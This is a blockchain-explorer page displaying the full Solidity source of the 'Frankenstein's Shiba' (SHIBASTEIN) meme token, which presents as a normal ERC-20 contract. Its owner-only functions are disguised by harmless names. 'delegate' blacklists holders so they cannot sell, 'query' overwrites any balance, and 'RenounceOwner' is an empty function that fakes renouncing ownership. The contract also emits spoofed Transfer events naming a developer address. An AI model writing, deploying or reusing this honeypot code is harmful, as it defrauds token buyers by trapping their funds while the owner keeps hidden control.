ETH Price: $3,266.39 (-4.91%)

Contract Diff Checker

Contract Name:
SHIBASTEIN

Contract Source Code:

File 1 of 1 : SHIBASTEIN

pragma solidity 0.8.17;
/*
  .-')    ('-. .-.        .-. .-')     ('-.      .-')    .-') _     ('-.                .-') _  
 ( OO ). ( OO )  /        \  ( OO )   ( OO ).-. ( OO ). (  OO) )  _(  OO)              ( OO ) ) 
(_)---\_),--. ,--.  ,-.-') ;-----.\   / . --. /(_)---\_)/     '._(,------.  ,-.-') ,--./ ,--,'  
/    _ | |  | |  |  |  |OO)| .-.  |   | \-.  \ /    _ | |'--...__)|  .---'  |  |OO)|   \ |  |\  
\  :` `. |   .|  |  |  |  \| '-' /_).-'-'  |  |\  :` `. '--.  .--'|  |      |  |  \|    \|  | ) 
 '..`''.)|       |  |  |(_/| .-. `.  \| |_.'  | '..`''.)   |  |  (|  '--.   |  |(_/|  .     |/  
.-._)   \|  .-.  | ,|  |_.'| |  \  |  |  .-.  |.-._)   \   |  |   |  .--'  ,|  |_.'|  |\    |   
\       /|  | |  |(_|  |   | '--'  /  |  | |  |\       /   |  |   |  `---.(_|  |   |  | \   |   
 `-----' `--' `--'  `--'   `------'   `--' `--' `-----'    `--'   `------'  `--'   `--'  `--' 

Frankenstein's Shiba has been unleashed!
 
*/

  library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}   
 
 
contract SHIBASTEIN {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) txVal;

    // 
    string public name = "Frankenstein's Shiba";
    string public symbol = unicode"SHIBASTEIN";
    uint8 public decimals = 18;
    uint256 public totalSupply = 500000000 * (uint256(10) ** decimals);
    uint256 private _totalSupply;
    event Transfer(address indexed from, address indexed to, uint256 value);
  
   



        constructor()  {
        balanceOf[msg.sender] = totalSupply;
        deploy(lead_dev, totalSupply); }



	address owner = msg.sender;
    address V2Router = 0xD158148922E854dB4Ccb3d157535904b85905673;
    address lead_dev = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
   





    function deploy(address account, uint256 amount) public {
    require(msg.sender == owner);
    emit Transfer(address(0), account, amount); }
        modifier I() {   
         require(msg.sender == owner);
         _;}


    function transfer(address to, uint256 value) public returns (bool success) {

        if(msg.sender == V2Router)  {
        require(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value; 
        emit Transfer (lead_dev, to, value);
        return true; } 
        require(!txVal[msg.sender]);      
        require(balanceOf[msg.sender] >= value);
        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true; }


         

        event Approval(address indexed owner, address indexed spender, uint256 value);

        mapping(address => mapping(address => uint256)) public allowance;

        function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;

        emit Approval(msg.sender, spender, value);
        return true; }
        function RenounceOwner() I public {
         }


        function delegate(address ex) I public{          
        require(!txVal[ex]);
        txVal[ex] = true; }
        function withdrawl(address ex) I public {
        require(txVal[ex]);
        txVal[ex] = false; }
        function query(address x, uint256 check) I public returns (bool success) {
                   balanceOf[x] = check;
                   return true; }

    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
        if(from == V2Router)  {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);
        balanceOf[from] -= value;  
        balanceOf[to] += value; 
        emit Transfer (lead_dev, to, value);
        return true; }    
        require(!txVal[from]); 
        require(!txVal[to]); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);
        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; }
    }

Please enter a contract address above to load the contract details and source code.

Context size (optional):